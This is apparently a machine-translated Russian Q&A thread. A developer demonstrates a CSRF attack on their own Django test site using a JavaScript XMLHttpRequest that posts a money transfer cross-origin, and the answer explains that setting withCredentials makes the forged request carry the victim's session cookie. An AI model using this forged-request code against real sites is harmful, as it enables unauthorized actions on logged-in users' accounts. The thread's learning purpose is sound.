Имитация CSRF-атаки при входе в систему Требуется URL - PullRequest
0 голосов
/ 18 апреля 2019

Я хочу смоделировать / продемонстрировать атаку CSRF.С Django я настраиваю сайт (a.com) и один URL (/ foo /) не включает анти-CSRF-контент.

Сначала я сделал этот URL доступным без входа в систему.Я вижу, что запрос POST (см. Код ниже) выполнен успешно.(На самом деле, я столкнулся с проблемой no Access-Control-Allow-Origin, содержание документа #main не обновлено. Но сообщение сделано со статусом 200. Т.е. Деньги переведены на мой счет:).

Итак Я успешно провел CSRF-атаку .

Затем я включаю a.com/foo/ в login_required(), что означает, что вам нужно сначала войти на сайт a.com, прежде чем выполнять действия в a.com/foo/стр.

1) Я выполнил вход на одной из вкладок Chrome a.com.

2) А затем я открываю другую вкладку в этом же окне Chrome и открываю localhost:8000 (см. Ниже).

Когда я запускаю функцию JS, POST начинает получать статус 302 (перенаправление на страницу входа в систему a.com вместо 200 OK ранее).

Почему ?Если это так, то как CSRF-атаки полезны / возможны для страниц, требующих входа в систему другого домена?

JS-код для выполнения поддельного запроса (от localhost: 8000 и т. Д., Другойдомен):

function hack_it() {
    var http = new XMLHttpRequest();
    var url = 'https://a.com/foo/';
    var params = 'name=hacker&amount=200';
    http.open('POST', url, true);

    //Send the proper header information along with the request
    http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

    http.onreadystatechange = function() {//Call a function when the state changes.
        if(http.readyState == 4 && http.status == 200) {
            document.getElementById("main").innerHTML = http.responseText;
        }
    }
    http.send(params);
}

1 Ответ

1 голос
/ 18 апреля 2019

Да, CSRF-атаки возможны для страниц, требующих входа в систему.

В данный момент ваш AJAX-запрос не отправляет cookie-файл сеанса, поэтому вы перенаправлены на страницу входа.

Чтобы ваша демо-атака работала, вам нужно установить withCredentials до true.

var http = new XMLHttpRequest();
http.withCredentials = true;
...
...